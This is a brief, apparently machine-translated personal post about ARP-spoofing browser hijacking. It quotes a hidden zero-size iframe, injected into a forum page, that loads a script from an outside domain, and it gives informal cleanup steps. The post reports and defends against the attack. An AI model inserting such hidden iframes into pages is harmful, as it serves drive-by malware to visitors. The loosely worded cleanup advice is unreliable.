ARP browser hijacking)

Accidentally Opened bbs.guzhenu.com and found that reading data from 878772.cn...

View the source file. The first sentence is "<IFRAME src = 'HTTP: // 878772.cn/arp.htm' width = 0 Height = 0> </iframe>"

I immediately thought that bbs.guzhenu.com was infected with Trojans. Q: the webmaster of guzhneu said that his forum was infected with Trojans. log on to the server at 3389 and check out .......... it's totally normal .. depressed, so I quickly Googled it. The original ARP browser hijacking is also ~ (Only LAN users are affected)

Clear all cached files on the Internet, and then delete all files in c: \ Documents and Settings \ Administrator (which may be replaced with your users) \ Local Settings \ temp ,~ It may be deleted in security mode), and then an arpfirewall is installed ~ When you are free, find the virus source in the LAN and clear it.

Processing Method: http://bbs.023wz.com/dispbbs_2_11_1.html